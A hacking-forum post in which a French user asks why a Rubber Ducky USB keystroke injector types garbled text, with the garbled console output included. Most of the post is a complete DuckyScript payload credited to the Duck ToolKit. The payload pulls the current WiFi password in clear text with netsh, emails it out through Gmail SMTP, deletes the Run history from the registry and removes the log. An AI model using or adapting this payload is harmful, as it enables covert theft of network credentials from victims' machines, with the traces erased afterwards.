Jump to content

Encoding


JamesB67000

Recommended Posts

Hi everybody,

I am tring to use some scripts on my Rubber Ducky, but when I try to use it, what is typed by the ducky isn't why I encoded ... I've being tring for many hours, with lots of different scripts

Let me show you an example taken from the Duck ToolKit:

REM Title: WiFi password grabber
REM Author: Siem TTommy
REM Version: 4
REM Description: Saves the SSID, Network type, Authentication and the password to Log.txt and emails the contents of Log.txt from a gmail account.
DELAY 3000

REM --> Minimize all windows
GUI d
DELAY 1000
REM --> Open cmd
GUI r
DELAY 1000
STRING cmd
ENTER
DELAY 1000

REM --> Getting SSID
STRING cd "%USERPROFILE%\Desktop" & for /f "tokens=2 delims=: " %A in ('netsh wlan show interface ^| findstr "SSID" ^| findstr /v "BSSID"') do set A=%A
ENTER

REM --> Creating A.txt
STRING netsh wlan show profiles %A% key=clear | findstr /c:"Network type" /c:"Authentication" /c:"Key Content" | findstr /v "broadcast" | findstr /v "Radio">>A.txt
ENTER

REM --> Get network type
STRING for /f "tokens=3 delims=: " %A in ('findstr "Network type" A.txt') do set B=%A
ENTER

REM --> Get authentication
STRING for /f "tokens=2 delims=: " %A in ('findstr "Authentication" A.txt') do set C=%A
ENTER

REM --> Get password
STRING for /f "tokens=3 delims=: " %A in ('findstr "Key Content" A.txt') do set D=%A
ENTER

REM --> Delete A.txt
STRING del A.txt
ENTER

REM --> Create Log.txt
STRING echo SSID: %A%>>Log.txt & echo Network type: %B%>>Log.txt & echo Authentication: %C%>>Log.txt & echo Password: %D%>>Log.txt
ENTER

REM --> Mail Log.txt
STRING powershell
ENTER
STRING REG DELETE HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /f
ENTER
STRING $SMTPServer = 'smtp.gmail.com'
ENTER
STRING $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
ENTER
STRING $SMTPInfo.EnableSsl = $true
ENTER
STRING $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('')
ENTER
STRING $ReportEmail = New-Object System.Net.Mail.MailMessage
ENTER
STRING $ReportEmail.From = ''
ENTER
STRING $ReportEmail.To.Add('')
ENTER
STRING $ReportEmail.Subject = 'WiFi Password'
ENTER
STRING $ReportEmail.Body = (Get-Content Log.txt | out-string)
ENTER
STRING $SMTPInfo.Send($ReportEmail)
ENTER
STRING exit
ENTER
DELAY 1000

REM --> Delete Log.txt and exit
STRING del Log.txt & exit
ENTER

But when I use it on my computer it writes incorrectly:

Microsoft Windows [version 10.0.15063]
(c) 2017 Microsoft Corporation. Tous droits réservés.

C:\Users\Benoit>cd "%USERPiOF " %A in (" ^| findstro/v "OFILES %A% kuthentication" /c:indstr /v "Ra in ('findstr "Nkens=2 delims=:") do set C=%ST
La syntaxe du nom de fichier, de répertoire ou de volume est incorrecte.

C:\Users\Benoit>fKey Content": %A%>>L & echo Authe %D%>>Log

(I did a ctrl+C to catch the wrong typing)

As you may have discovered, I'm french, using the french encoding, with a french Keyboard (but with a Belgium beer :) ) . I tried the Duck toolKit online, also, the one from Git.

I really don't understand why the Ducky isn't typing correctly :sad:

FYI I have tested two differents Rubber Ducky, already searched the entire forum. I'm lost !

 

Does anyone have an idea ? Am I doing something wrong ?

thanks for your answers !

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...